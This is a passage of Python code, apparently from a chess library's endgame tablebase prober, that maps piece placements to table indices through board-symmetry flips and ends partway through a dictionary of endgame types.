flip_ns(y) rowx = chess.square_rank(x) colx = chess.square_file(x) if rowx > colx: x = flip_nw_se(x) y = flip_nw_se(y) rowy = chess.square_rank(y) coly = chess.square_file(y) if rowx == colx and rowy > coly: x = flip_nw_se(x) y = flip_nw_se(y) return x, y def init_kkidx() -> Tuple[List[List[int]], List[int], List[int]]: kkidx = [[-1] * 64 for _ in range(64)] bksq = [-1] * MAX_KKINDEX wksq = [-1] * MAX_KKINDEX idx = 0 for x in range(64): for y in range(64): # Check if x to y is legal. if x != y and not chess.BB_KING_ATTACKS[x] & chess.BB_SQUARES[y]: # Normalize. i, j = norm_kkindex(x, y) if idx_is_empty(kkidx[i][j]): kkidx[i][j] = idx kkidx[x][y] = idx bksq[idx] = i wksq[idx] = j idx += 1 return kkidx, wksq, bksq KKIDX, WKSQ, BKSQ = init_kkidx() def kxk_pctoindex(c: Request) -> int: BLOCK_Ax = 64 ft = flip_type(c.black_piece_squares[0], c.white_piece_squares[0]) ws = c.white_piece_squares bs = c.black_piece_squares if (ft & 1) != 0: ws = [flip_we(b) for b in ws] bs = [flip_we(b) for b in bs] if (ft & 2) != 0: ws = [flip_ns(b) for b in ws] bs = [flip_ns(b) for b in bs] if (ft & 4) != 0: ws = [flip_nw_se(b) for b in ws] bs = [flip_nw_se(b) for b in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] if ki == -1: return NOINDEX return ki * BLOCK_Ax + ws[1] def kapkb_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 * 64 BLOCK_B = 64 * 64 * 64 BLOCK_C = 64 * 64 BLOCK_D = 64 pawn = c.white_piece_squares[2] wa = c.white_piece_squares[1] wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] ba = c.black_piece_squares[1] if not (chess.A2 <= pawn < chess.A8): return NOINDEX if (pawn & 7) > 3: # Column is more than 3, i.e., e, f, g or h. pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) ba = flip_we(ba) sq = pawn sq ^= 56 # flip_ns sq -= 8 # Down one row pslice = (sq + (sq & 3)) >> 1 return pslice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + wa * BLOCK_D + ba def kabpk_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 * 64 BLOCK_B = 64 * 64 * 64 BLOCK_C = 64 * 64 BLOCK_D = 64 wk = c.white_piece_squares[0] wa = c.white_piece_squares[1] wb = c.white_piece_squares[2] pawn = c.white_piece_squares[3] bk = c.black_piece_squares[0] if (pawn & 7) > 3: # Column is more than 3, i.e., e, f, g or h. pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) wb = flip_we(wb) pslice = wsq_to_pidx24(pawn) return pslice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + wa * BLOCK_D + wb def kabkp_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 * 64 BLOCK_B = 64 * 64 * 64 BLOCK_C = 64 * 64 BLOCK_D = 64 pawn = c.black_piece_squares[1] wa = c.white_piece_squares[1] wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] wb = c.white_piece_squares[2] if not (chess.A2 <= pawn < chess.A8): return NOINDEX if (pawn & 7) > 3: # Column is more than 3, i.e., e, f, g or h. pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) wb = flip_we(wb) sq = pawn sq -= 8 # Down one row pslice = (sq + (sq & 3)) >> 1 return pslice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + wa * BLOCK_D + wb def kaapk_pctoindex(c: Request) -> int: BLOCK_C = MAX_AAINDEX BLOCK_B = 64 * BLOCK_C BLOCK_A = 64 * BLOCK_B wk = c.white_piece_squares[0] wa = c.white_piece_squares[1] wa2 = c.white_piece_squares[2] pawn = c.white_piece_squares[3] bk = c.black_piece_squares[0] if (pawn & 7) > 3: # Column is more than 3, i.e., e, f, g or h. pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) wa2 = flip_we(wa2) pslice = wsq_to_pidx24(pawn) aa_combo = AAIDX[wa][wa2] if idx_is_empty(aa_combo): return NOINDEX return pslice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + aa_combo def kaakp_pctoindex(c: Request) -> int: BLOCK_C = MAX_AAINDEX BLOCK_B = 64 * BLOCK_C BLOCK_A = 64 * BLOCK_B wk = c.white_piece_squares[0] wa = c.white_piece_squares[1] wa2 = c.white_piece_squares[2] bk = c.black_piece_squares[0] pawn = c.black_piece_squares[1] if (pawn & 7) > 3: # Column is more than 3, i.e., e, f, g or h. pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) wa2 = flip_we(wa2) pawn = flip_ns(pawn) pslice = wsq_to_pidx24(pawn) aa_combo = AAIDX[wa][wa2] if idx_is_empty(aa_combo): return NOINDEX return pslice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + aa_combo def kapkp_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 BLOCK_B = 64 * 64 BLOCK_C = 64 wk = c.white_piece_squares[0] wa = c.white_piece_squares[1] pawn_a = c.white_piece_squares[2] bk = c.black_piece_squares[0] pawn_b = c.black_piece_squares[1] anchor = pawn_a loosen = pawn_b if (anchor & 7) > 3: # Column is more than 3, i.e., e, f, g or h. anchor = flip_we(anchor) loosen = flip_we(loosen) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) m = wsq_to_pidx24(anchor) n = loosen - 8 pp_slice = m * 48 + n if idx_is_empty(pp_slice): return NOINDEX return pp_slice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + wa def kappk_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 BLOCK_B = 64 * 64 BLOCK_C = 64 wk = c.white_piece_squares[0] wa = c.white_piece_squares[1] pawn_a = c.white_piece_squares[2] pawn_b = c.white_piece_squares[3] bk = c.black_piece_squares[0] anchor, loosen = pp_putanchorfirst(pawn_a, pawn_b) if (anchor & 7) > 3: # Column is more than 3, i.e., e, f, g or h. anchor = flip_we(anchor) loosen = flip_we(loosen) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) i = wsq_to_pidx24(anchor) j = wsq_to_pidx48(loosen) pp_slice = PPIDX[i][j] if idx_is_empty(pp_slice): return NOINDEX return pp_slice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + wa def kppka_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 * 64 BLOCK_B = 64 * 64 BLOCK_C = 64 wk = c.white_piece_squares[0] pawn_a = c.white_piece_squares[1] pawn_b = c.white_piece_squares[2] bk = c.black_piece_squares[0] ba = c.black_piece_squares[1] anchor, loosen = pp_putanchorfirst(pawn_a, pawn_b) if (anchor & 7) > 3: anchor = flip_we(anchor) loosen = flip_we(loosen) wk = flip_we(wk) bk = flip_we(bk) ba = flip_we(ba) i = wsq_to_pidx24(anchor) j = wsq_to_pidx48(loosen) pp_slice = PPIDX[i][j] if idx_is_empty(pp_slice): return NOINDEX return pp_slice * BLOCK_A + wk * BLOCK_B + bk * BLOCK_C + ba def kabck_pctoindex(c: Request) -> int: N_WHITE = 4 N_BLACK = 1 BLOCK_A = 64 * 64 * 64 BLOCK_B = 64 * 64 BLOCK_C = 64 ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] if idx_is_empty(ki): return NOINDEX return ki * BLOCK_A + ws[1] * BLOCK_B + ws[2] * BLOCK_C + ws[3] def kabbk_pctoindex(c: Request) -> int: N_WHITE = 4 N_BLACK = 1 BLOCK_Bx = 64 BLOCK_Ax = BLOCK_Bx * MAX_AAINDEX ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] ai = AAIDX[ws[2]][ws[3]] if idx_is_empty(ki) or idx_is_empty(ai): return NOINDEX return ki * BLOCK_Ax + ai * BLOCK_Bx + ws[1] def kaabk_pctoindex(c: Request) -> int: N_WHITE = 4 N_BLACK = 1 BLOCK_Bx = 64 BLOCK_Ax = BLOCK_Bx * MAX_AAINDEX ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] ai = AAIDX[ws[1]][ws[2]] if idx_is_empty(ki) or idx_is_empty(ai): return NOINDEX return ki * BLOCK_Ax + ai * BLOCK_Bx + ws[3] def aaa_getsubi(x: int, y: int, z: int) -> int: bse = AAA_BASE[z] calc_idx = x + (y - 1) * y // 2 + bse return calc_idx def kaaak_pctoindex(c: Request) -> int: N_WHITE = 4 N_BLACK = 1 BLOCK_Ax = MAX_AAAINDEX ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] if ws[2] < ws[1]: tmp = ws[1] ws[1] = ws[2] ws[2] = tmp if ws[3] < ws[2]: tmp = ws[2] ws[2] = ws[3] ws[3] = tmp if ws[2] < ws[1]: tmp = ws[1] ws[1] = ws[2] ws[2] = tmp ki = KKIDX[bs[0]][ws[0]] if ws[1] == ws[2] or ws[1] == ws[3] or ws[2] == ws[3]: return NOINDEX ai = aaa_getsubi(ws[1], ws[2], ws[3]) if idx_is_empty(ki) or idx_is_empty(ai): return NOINDEX return ki * BLOCK_Ax + ai def kppkp_pctoindex(c: Request) -> int: BLOCK_Ax = MAX_PP48_INDEX * 64 * 64 BLOCK_Bx = 64 * 64 BLOCK_Cx = 64 wk = c.white_piece_squares[0] pawn_a = c.white_piece_squares[1] pawn_b = c.white_piece_squares[2] bk = c.black_piece_squares[0] pawn_c = c.black_piece_squares[1] if (pawn_c & 7) > 3: wk = flip_we(wk) pawn_a = flip_we(pawn_a) pawn_b = flip_we(pawn_b) bk = flip_we(bk) pawn_c = flip_we(pawn_c) i = flip_we(flip_ns(pawn_a)) - 8 j = flip_we(flip_ns(pawn_b)) - 8 # Black pawn, so low indexes are more advanced. k = map24_b(pawn_c) pp48_slice = PP48_IDX[i][j] if idx_is_empty(pp48_slice): return NOINDEX return k * BLOCK_Ax + pp48_slice * BLOCK_Bx + wk * BLOCK_Cx + bk def kaakb_pctoindex(c: Request) -> int: N_WHITE = 3 N_BLACK = 2 BLOCK_Bx = 64 BLOCK_Ax = BLOCK_Bx * MAX_AAINDEX ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] ai = AAIDX[ws[1]][ws[2]] if idx_is_empty(ki) or idx_is_empty(ai): return NOINDEX return ki * BLOCK_Ax + ai * BLOCK_Bx + bs[1] def kabkc_pctoindex(c: Request) -> int: N_WHITE = 3 N_BLACK = 2 BLOCK_Ax = 64 * 64 * 64 BLOCK_Bx = 64 * 64 BLOCK_Cx = 64 ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX [black king] [white king] if idx_is_empty(ki): return NOINDEX return ki * BLOCK_Ax + ws[1] * BLOCK_Bx + ws[2] * BLOCK_Cx + bs[1] def kpkp_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 BLOCK_Bx = 64 wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] pawn_a = c.white_piece_squares[1] pawn_b = c.black_piece_squares[1] anchor = pawn_a loosen = pawn_b if (anchor & 7) > 3: anchor = flip_we(anchor) loosen = flip_we(loosen) wk = flip_we(wk) bk = flip_we(bk) m = wsq_to_pidx24(anchor) n = loosen - 8 pp_slice = m * 48 + n if idx_is_empty(pp_slice): return NOINDEX return pp_slice * BLOCK_Ax + wk * BLOCK_Bx + bk def kppk_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 BLOCK_Bx = 64 wk = c.white_piece_squares[0] pawn_a = c.white_piece_squares[1] pawn_b = c.white_piece_squares[2] bk = c.black_piece_squares[0] anchor, loosen = pp_putanchorfirst(pawn_a, pawn_b) if (anchor & 7) > 3: anchor = flip_we(anchor) loosen = flip_we(loosen) wk = flip_we(wk) bk = flip_we(bk) i = wsq_to_pidx24(anchor) j = wsq_to_pidx48(loosen) pp_slice = PPIDX[i][j] if idx_is_empty(pp_slice): return NOINDEX return pp_slice * BLOCK_Ax + wk * BLOCK_Bx + bk def kapk_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 * 64 BLOCK_Bx = 64 * 64 BLOCK_Cx = 64 pawn = c.white_piece_squares[2] wa = c.white_piece_squares[1] wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] if not (chess.A2 <= pawn < chess.A8): return NOINDEX if (pawn & 7) > 3: pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) sq = pawn sq ^= 56 # flip_ns sq -= 8 # Down one row pslice = ((sq + (sq & 3)) >> 1) return pslice * BLOCK_Ax + wk * BLOCK_Bx + bk * BLOCK_Cx + wa def kabk_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 BLOCK_Bx = 64 ft = flip_type(c.black_piece_squares[0], c.white_piece_squares[0]) ws = c.white_piece_squares bs = c.black_piece_squares if (ft & 1) != 0: ws = [flip_we(b) for b in ws] bs = [flip_we(b) for b in bs] if (ft & 2) != 0: ws = [flip_ns(b) for b in ws] bs = [flip_ns(b) for b in bs] if (ft & 4) != 0: ws = [flip_nw_se(b) for b in ws] bs = [flip_nw_se(b) for b in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] if idx_is_empty(ki): return NOINDEX return ki * BLOCK_Ax + ws[1] * BLOCK_Bx + ws[2] def kakp_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 * 64 BLOCK_Bx = 64 * 64 BLOCK_Cx = 64 pawn = c.black_piece_squares[1] wa = c.white_piece_squares[1] wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] if not (chess.A2 <= pawn < chess.A8): return NOINDEX if (pawn & 7) > 3: pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) wa = flip_we(wa) sq = pawn sq -= 8 # Down one row pslice = (sq + (sq & 3)) >> 1 return pslice * BLOCK_Ax + wk * BLOCK_Bx + bk * BLOCK_Cx + wa def kaak_pctoindex(c: Request) -> int: N_WHITE = 3 N_BLACK = 1 BLOCK_Ax = MAX_AAINDEX ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:N_WHITE] bs = c.black_piece_squares[:N_BLACK] if (ft & WE_FLAG) != 0: ws = [flip_we(i) for i in ws] bs = [flip_we(i) for i in bs] if (ft & NS_FLAG) != 0: ws = [flip_ns(i) for i in ws] bs = [flip_ns(i) for i in bs] if (ft & NW_SE_FLAG) != 0: ws = [flip_nw_se(i) for i in ws] bs = [flip_nw_se(i) for i in bs] ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] ai = AAIDX[ws[1]][ws[2]] if idx_is_empty(ki) or idx_is_empty(ai): return NOINDEX return ki * BLOCK_Ax + ai def kakb_pctoindex(c: Request) -> int: BLOCK_Ax = 64 * 64 BLOCK_Bx = 64 ft = FLIPT[c.black_piece_squares[0]][c.white_piece_squares[0]] ws = c.white_piece_squares[:] bs = c.black_piece_squares[:] if (ft & 1) != 0: ws[0] = flip_we(ws[0]) ws[1] = flip_we(ws[1]) bs[0] = flip_we(bs[0]) bs[1] = flip_we(bs[1]) if (ft & 2) != 0: ws[0] = flip_ns(ws[0]) ws[1] = flip_ns(ws[1]) bs[0] = flip_ns(bs[0]) bs[1] = flip_ns(bs[1]) if (ft & 4) != 0: ws[0] = flip_nw_se(ws[0]) ws[1] = flip_nw_se(ws[1]) bs[0] = flip_nw_se(bs[0]) bs[1] = flip_nw_se(bs[1]) ki = KKIDX[bs[0]][ws[0]] # KKIDX[black king][white king] if idx_is_empty(ki): return NOINDEX return ki * BLOCK_Ax + ws[1] * BLOCK_Bx + bs[1] def kpk_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 BLOCK_B = 64 pawn = c.white_piece_squares[1] wk = c.white_piece_squares[0] bk = c.black_piece_squares[0] if not (chess.A2 <= pawn < chess.A8): return NOINDEX if (pawn & 7) > 3: pawn = flip_we(pawn) wk = flip_we(wk) bk = flip_we(bk) sq = pawn sq ^= 56 # flip_ns sq -= 8 # Down one row pslice = ((sq + (sq & 3)) >> 1) res = pslice * BLOCK_A + wk * BLOCK_B + bk return res def kpppk_pctoindex(c: Request) -> int: BLOCK_A = 64 * 64 BLOCK_B = 64 wk = c.white_piece_squares[0] pawn_a = c.white_piece_squares[1] pawn_b = c.white_piece_squares[2] pawn_c = c.white_piece_squares[3] bk = c.black_piece_squares[0] i = pawn_a - 8 j = pawn_b - 8 k = pawn_c - 8 ppp48_slice = PPP48_IDX[i][j][k] if idx_is_empty(ppp48_slice): wk = flip_we(wk) pawn_a = flip_we(pawn_a) pawn_b = flip_we(pawn_b) pawn_c = flip_we(pawn_c) bk = flip_we(bk) i = pawn_a - 8 j = pawn_b - 8 k = pawn_c - 8 ppp48_slice = PPP48_IDX[i][j][k] if idx_is_empty(ppp48_slice): return NOINDEX return ppp48_slice * BLOCK_A + wk * BLOCK_B + bk class EndgameKey: def __init__(self, maxindex: int, slice_n: int, pctoi: Callable[[Request], int]): self.maxindex = maxindex self.slice_n = slice_n self.pctoi = pctoi EGKEY = { "kqk": EndgameKey(MAX_KXK, 1, kxk_pctoindex), "krk": EndgameKey(MAX_KXK, 1, kxk_pctoindex), "kbk": EndgameKey(MAX_KXK, 1, kxk_pctoindex), "knk": EndgameKey(MAX_KXK, 1, kxk_pctoindex), "kpk": EndgameKey(MAX_kpk, 24, kpk_pctoindex), "kqkq": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kqkr": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kqkb": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kqkn": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "krkr": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "krkb": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "krkn": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kbkb": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kbkn": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "knkn": EndgameKey(MAX_kakb, 1, kakb_pctoindex), "kqqk": EndgameKey(MAX_kaak, 1, kaak_pctoindex), "kqrk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "kqbk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "kqnk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "krrk": EndgameKey(MAX_kaak, 1, kaak_pctoindex), "krbk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "krnk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "kbbk": EndgameKey(MAX_kaak, 1, kaak_pctoindex), "kbnk": EndgameKey(MAX_kabk, 1, kabk_pctoindex), "knnk": EndgameKey(MAX_kaak, 1, kaak_pctoindex), "kqkp": EndgameKey(MAX_kakp, 24, kakp_pctoindex), "krkp": EndgameKey(MAX_kakp, 24, kakp_pctoindex), "kbkp": EndgameKey(MAX_kakp, 24, kakp_pctoindex), "knkp": EndgameKey(MAX_kakp, 24, kakp_pctoindex), "kqpk": EndgameKey(MAX_kapk, 24, kapk_pctoindex), "krpk": EndgameKey(MAX_kapk, 24, kapk_pctoindex), "kbpk": EndgameKey(MAX_kapk, 24, kapk_pctoindex), "knpk": EndgameKey(MAX_kapk, 24, kapk_pctoindex), "kppk": EndgameKey(MAX_kppk, MAX_PPINDEX, kppk_pctoindex), "kpkp": EndgameKey(MAX_kpkp, MAX_PpINDEX, kpkp_pctoindex), "kppkp": EndgameKey(MAX_kppkp, 24 * MAX_PP48_INDEX, kppkp_pctoindex), "kbbkr": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kbbkb": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "knnkb": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "knnkn": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqqqk": EndgameKey(MAX_kaaak, 1, kaaak_pctoindex), "kqqrk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "kqqbk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "kqqnk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "kqrrk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "kqrbk": EndgameKey(MAX_kabck, 1, kabck_pctoindex), "kqrnk": EndgameKey(MAX_kabck, 1, kabck_pctoindex), "kqbbk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "kqbnk": EndgameKey(MAX_kabck, 1, kabck_pctoindex), "kqnnk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "krrrk": EndgameKey(MAX_kaaak, 1, kaaak_pctoindex), "krrbk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "krrnk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "krbbk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "krbnk": EndgameKey(MAX_kabck, 1, kabck_pctoindex), "krnnk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "kbbbk": EndgameKey(MAX_kaaak, 1, kaaak_pctoindex), "kbbnk": EndgameKey(MAX_kaabk, 1, kaabk_pctoindex), "kbnnk": EndgameKey(MAX_kabbk, 1, kabbk_pctoindex), "knnnk": EndgameKey(MAX_kaaak, 1, kaaak_pctoindex), "kqqkq": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqqkr": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqqkb": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqqkn": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqrkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqrkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqrkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqrkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqbkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqbkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqbkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqbkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqnkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqnkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqnkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kqnkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krrkq": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "krrkr": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "krrkb": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "krrkn": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "krbkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krbkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krbkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krbkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krnkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krnkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krnkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "krnkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kbbkq": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kbbkn": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kbnkq": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kbnkr": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kbnkb": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "kbnkn": EndgameKey(MAX_kabkc, 1, kabkc_pctoindex), "knnkq": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "knnkr": EndgameKey(MAX_kaakb, 1, kaakb_pctoindex), "kqqpk": EndgameKey(MAX_kaapk, 24, kaapk_pctoindex), "kqrpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "kqbpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "kqnpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "krrpk": EndgameKey(MAX_kaapk, 24, kaapk_pctoindex), "krbpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "krnpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "kbbpk": EndgameKey(MAX_kaapk, 24, kaapk_pctoindex), "kbnpk": EndgameKey(MAX_kabpk, 24, kabpk_pctoindex), "knnpk": EndgameKey(MAX_kaapk, 24, kaapk_pctoindex), "kqppk": EndgameKey(MAX_kappk, MAX_PPINDEX, kappk_pctoindex), "krppk": EndgameKey(MAX_kappk, MAX_PPINDEX, kappk_pctoindex), "kbppk": EndgameKey(MAX_kappk, MAX_PPINDEX, kappk_pctoindex), "knppk": EndgameKey(MAX_kappk, MAX_PPINDEX, kappk_pctoindex), "kqpkq": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kqpkr": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kqpkb": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kqpkn": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "krpkq": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "krpkr": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "krpkb": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "krpkn": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kbpkq": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kbpkr": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kbpkb": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kbpkn": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "knpkq": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "knpkr": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "knpkb": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "knpkn": EndgameKey(MAX_kapkb, 24, kapkb_pctoindex), "kppkq": EndgameKey(MAX_kppka, MAX_PPINDEX, kppka_pctoindex), "kppkr": EndgameKey(MAX_kppka, MAX_PPINDEX, kppka_pctoindex), "kppkb": EndgameKey(MAX_kppka, MAX_PPINDEX, kppka_pctoindex), "kppkn": EndgameKey(MAX_kppka, MAX_PPINDEX, kppka_pctoindex), "kqqkp": EndgameKey(MAX_kaakp, 24, kaakp_pctoindex), "kqrkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "kqbkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "kqnkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "krrkp": EndgameKey(MAX_kaakp, 24, kaakp_pctoindex), "krbkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "krnkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "kbbkp": 